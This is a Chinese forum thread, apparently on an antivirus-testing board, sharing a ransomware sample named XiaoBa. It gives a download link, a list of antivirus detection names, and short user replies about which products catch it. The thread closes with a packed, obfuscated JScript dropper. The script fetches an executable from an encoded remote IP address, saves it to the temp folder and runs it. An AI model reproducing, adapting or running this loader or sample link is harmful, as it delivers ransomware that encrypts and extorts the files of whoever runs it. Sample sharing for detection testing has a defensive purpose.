XiaoBa-新做的勒索病毒-2018-4-29

TheYuCheng

下载地址：https://pan.lanzou.com/i0xk24j

技术含量不高，不喜勿喷

仅是测试版

pal家族

HEUR:Exploit.Script.Generic
使用新技术了吗

Heur.Dual.Extensions

CrowdStrike Falcon

malicious_confidence_80% (D)

Jiangmin

Trojan.Pincav.aer

Kaspersky

HEUR:Exploit.Script.Generic

NANO-Antivirus

Trojan.Script.Heuristic-js.iacgm

Qihoo-360

HEUR/QVM41.1.CF4D.Malware.Gen

SentinelOne

static engine - malicious

Sophos ML

heuristic

TrendMicro

Mal_Cerber-23

TrendMicro-HouseCall

Mal_Cerber-23

Yandex

Trojan.DL.Autoit!m5UN0m35SAE

ZoneAlarm

HEUR:Exploit.Script.Generic

Zoner

Probably RARAutorun

心醉咖啡

火绒

761773275

Emsisoft 主防



TrustPort 主防


以下都翻车-蜘蛛&Malwarebytes

wangyuhe

AVG miss

wangyuhe

WD 杀

tao8023yy

卡巴的能过么？

761773275

wangyuhe 发表于 2018-4-29 06:41
WD 杀

这样也发两贴??

wangyuhe

我忘了能编辑，不好意思，新手

PercyDan

又是360

1. eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('j J=p o("\\v\\9\\m\\c\\5\\8\\3\\a\\9\\n\\2\\4\\4");I=J["\\k\\l\\8\\b\\7\\x\\k\\7\\Q\\5\\c\\d\\7\\s\\2\\7\\3\\9\\3\\c\\5\\7\\M\\6"]("\\B\\3\\2\\s\\8\\B");j q=I+"\\r\\5\\7\\6\\3\\b\\4\\4\\t\\D\\4\\b\\6\\n\\t\\8\\4\\b\\g\\2\\c\\a\\2\\l\\2";j i=p o("\\A\\9\\K\\A\\H\\L\\a\\K\\A\\H\\U\\h\\h\\P");i["\\d\\8\\2\\7"]("\\R\\k\\h","\\n\\3\\3\\8\\C\\r\\r\\f\\f\\G\\a\\f\\f\\S\\a\\f\\G\\11\\a\\f\\L\\f\\C\\F\\E\\F\\E\\r\\5\\7\\6\\3\\b\\4\\4\\t\\D\\4\\b\\6\\n\\t\\8\\4\\b\\g\\2\\c\\a\\2\\l\\2",Y);i["\\6\\2\\7\\x"]();O(i["\\9\\3\\b\\3\\Z\\6"]==W){j z=p o("\\9\\m\\c\\5\\8\\3\\5\\7\\M\\a\\u\\5\\4\\2\\9\\g\\6\\3\\2\\s\\y\\X\\12\\2\\m\\3");j e=p o("\\10\\w\\y\\w\\N\\a\\9\\3\\c\\2\\b\\s");e["\\y\\8\\2\\7"]();e["\\h\\g\\8\\2"]=1;e["\\v\\c\\5\\3\\2"](i["\\V\\2\\6\\8\\d\\7\\6\\2\\N\\d\\x\\g"]);e["\\P\\d\\6\\5\\3\\5\\d\\7"]=0;O(z["\\u\\5\\4\\2\\k\\l\\5\\6\\3\\6"](q)){z["\\w\\2\\4\\2\\3\\2\\u\\5\\4\\2"](q)}e["\\9\\b\\Q\\2\\h\\d\\u\\5\\4\\2"](q);e["\\T\\4\\d\\6\\2"]();p o("\\v\\9\\m\\c\\5\\8\\3\\a\\9\\n\\2\\4\\4")["\\k\\l\\2\\m"](q)}',62,65,'||x65|x74|x6c|x69|x73|x6e|x70|x53|x2e|x61|x72|x6f|NmgGOmkb5|x31|x79|x54|GgyJb3|var|x45|x78|x63|x68|ActiveXObject|new|ufvzr2|x2f|x6d|x5f|x46|x57|x44|x64|x4f|Dck4|x4d|x25|x3a|x66|x30|x38|x34|x4c|path|oqkso1|x58|x32|x67|x42|if|x50|x76|x47|x35|x43|x48|x52|200|x62|false|x75|x41|x36|x6a'.split('|'),0,{}))

复制代码